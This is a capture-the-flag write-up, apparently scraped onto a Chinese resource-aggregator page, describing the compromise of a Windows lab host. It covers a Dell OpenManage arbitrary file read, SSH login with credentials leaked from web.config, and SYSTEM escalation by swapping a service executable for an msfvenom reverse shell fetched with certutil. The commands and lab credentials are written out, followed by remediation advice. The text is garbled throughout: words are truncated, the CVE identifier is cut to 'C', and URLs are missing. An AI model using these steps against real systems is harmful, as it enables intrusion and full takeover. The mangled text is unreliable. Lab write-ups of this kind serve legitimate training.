Project-CloudGuard-Security - CloudGuard-Security aims to simulate real-world cl

项目说明

🎯 Project Objective

The goal of this project was to gain unauthorized access to a ser by the HackSmarterSec group, followed by pri escalation to SYSTEM level and extraction of sensitive data (flags and a list of future targets).

The engagement focused heavily on proper enumeration, identifying non-standard services, and exploiting a real-world in Dell OpenManage Ser.

🧭 Phase 1. Enumeration
🔍 Nmap Scanning

The first step was to perform a full port and service scan against the target machine:

nmap -Pn -sC -sV -p- 10.81.151.53

📌 Discovered Open Ports:
Port Service Description
21 FTP Anonymous access enabled
22 SSH Remote login
80 HTTP IIS Web Server
1311 HTTPS Dell OpenManage
3389 RDP Remote Desktop
🌐 Phase 2. Service Analysis
FTP (21)

Anonymous login was allowed

Discovered files:

Credit-Cards-We-Pawned.txt

stolen-passport.png

File analysis (including EXIF metadata) re no useful information
➡ Considered a dead end

HTTP (80)

Ser as Microsoft IIS

A contact form was discovered

Basic XSS payloads were tested but no exploitation was possible

No critical found

🔐 HTTPS (1311) — Primary Attack

Upon inspecting port 1311, the following service was identified:

Dell EMC OpenManage Ser
: 9.4.0.2

Accessed via:

This exposed the OpenManage web login portal.

🧨 Phase 3. Discovery & Exploitation
🔎 Fingerprinting

OMSA : 9.4.0.2

Apache Tomcat 9.0.21

Ja En 11.0.7

🐞 Identified

C – Arbitrary File Read

This allows unauthenticated arbitrary file reading on of Dell OpenManage Ser.

⚙️ Exploiting C

The exploitation was performed using a Python PoC:

python3 C.py <ATTACKER_IP> <TARGET_IP>:1311

📂 Successfully Retrie:
1️⃣ Proof of File Read:
C:\Windows\win.ini

✔ Successfully accessed

2️⃣ Sensiti File:
C:\inetpub\wwwroot\hacksmartersec\web.config

📄 Contents:

<add key="Username" value="tyler" />
<add key="Password" value="IAmA1337h4x0randIkn0wit!" />

🚪 Phase 4. Initial Foothold

The extracted credentials were used to establish an SSH session:

ssh

Successful login was achieved as user tyler.

👤 Phase 5. User Flag

The user flag was located on the desktop:

C:\Users\tyler\Desktop\user.txt

📌 user.txt

THM{4ll15n0tw3llw1thd3ll}

🔼 Phase 6. Pri Escalation Preparation

User tyler has limited pri

systeminfo returned Access Denied

Windows Defender was active

Enumeration for pri escalation began using Pri.ps1

A misconfigured service running as SYSTEM was identified (next phase)

🧠 Current Outcome

✔ Full enumeration completed
✔ Non-standard service identified (port 1311)
✔ Real-world C exploited
✔ Initial foothold obtained
✔ User flag captured
➡ System fully prepared for pri escalation to SYSTEM

PART2

Attack Summary
During the penetration test, a related to misconfigured access permissions for the Windows service spoofer-scheduler was discovered and successfully exploited. The service, running with LocalSystem pri, allowed an unpri user to stop and start the service and o its executable file.

Attack Stages
1. Reconnaissance and Discovery
Used the Pri script to enumerate potential attack

Discovered the spoofer-scheduler service with the following characteristics:

Runs as LocalSystem (highest pri)

Regular user has service control permissions (start/stop)

Executable file located in a writable directory: C:\Program Files (x86)\Spoofer\

2. Payload Preparation
Created a reverse shell using msfvenom:

bash
msfvenom -p windows/x64/shell_re LHOST=10.81.109.1 LPORT=443 -f exe -o spoofer-scheduler.exe
Ports 80/443 were selected to evade potential antivirus detection (standard HTTP/HTTPS ports)

Web ser on port 8080 for payload delivery

3. Exploitation
Stopping the target service:

cmd
sc stop spoofer-scheduler
Replacing the executable file:

cmd
certutil -urlcache -f spoofer-scheduler.exe
Starting the service with replaced file:

cmd
sc start spoofer-scheduler
4. Access Acquisition
Successfully obtained reverse shell with SYSTEM pri

Gained full system access with maximum pri

5. Target Data Discovery and Extraction
Located target file: C:\Users\Administrator\Desktop\Hacking-Targets\hacking-targets.txt

Extracted information:

text
Next :
CyberLens, WorkSmarter, SteelMountain
Technical Details
: Insecure Windows Service Permissions
Risk Level: High
CWE: CWE-250 (Execution with Unnecessary Pri)
CVSS: 8.8 (High)

Exploitation Conditions:

User must be able to stop/start the service

Service executable directory must be writable

Antivirus software must not block file replacement

Conclusions and Recommendations
Critical Security Deficiencies:
Excessi Pri:

Services not requiring SYSTEM rights should run under limited pri accounts

Insecure Filesystem Permissions:

System service executable files should be protected from write access by regular users

Lack of Integrity Controls:

No digital signature or hash for executable files

Remediation Recommendations:
Change Service Account:

Create a dedicated account with minimal necessary pri

Use Managed Service Accounts (gMSA) for automated password management

Strengthen Filesystem Permissions:

powershell

Set appropriate ACLs on service directory

icacls "C:\Program Files (x86)\Spoofer" /inheritance:r
icacls "C:\Program Files (x86)\Spoofer" /grant "SYSTEM:(OI)(CI)F"
icacls "C:\Program Files (x86)\Spoofer" /grant "Administrators:(OI)(CI)F"
icacls "C:\Program Files (x86)\Spoofer" /deny "Users:(OI)(CI)W"
Implement Integrity Controls:

Implement digital signature for executable files

Use Windows Defender Application Control (WDAC)

Monitoring and Detection:

Configure auditing for service stop/start events (Event ID 7036)

Monitor changes in critical system directories

Implement EDR solutions for suspicious activity detection

Additional Measures:
Regular pri and permission audits

Staff training on principle of least pri

Implement change management processes for system software

Conclusion
The exploitation of this demonstrates a classic example of pri escalation through misconfigured Windows services. The successful attack led to complete system compromise and access to confidential data. It is recommended to immediately address the identified deficiencies and implement the proposed security measures to prevent similar incidents in the future.

项目信息

开发语言：未知

Star 数：1

技术要点

该项目属于防护思路方向的开源资源，代码结构清晰，适合安全研究人员学习参考。项目围绕CloudGuard-Security aims to simulate real-world cloud security scenarios by analyzing, exploiting, and securing misconfigured cloud-hosted systems. The project focuses on identifying cloud exposure risks, understanding attack paths, and translating offensive techniques into defensive cloud security controls.展开，提供了可运行的实现，对理解相关安全机制、工具原理与攻防技术具有较高的研究价值。

从技术实现角度看，此类项目的核心在于对底层原理的深入理解与工程化落地。开发者在研究过程中可以结合官方文档与社区讨论，梳理项目的初始化流程、核心模块职责与数据流转，逐步掌握其中的技术细节与设计思路。

使用与学习建议

1. 下载源码压缩包，解压到本地环境。

2. 根据项目类型准备对应的运行环境与依赖。

3. 按照 README 中的步骤完成配置与部署。

4. 在隔离的测试环境中运行验证，避免影响生产系统。

免责声明

本资源来源于开源社区，仅供安全研究、技术学习与合法授权范围内的攻防演练使用，请勿用于任何非法或侵害他人权益的用途。使用本项目产生的一切后果由使用者自行承担。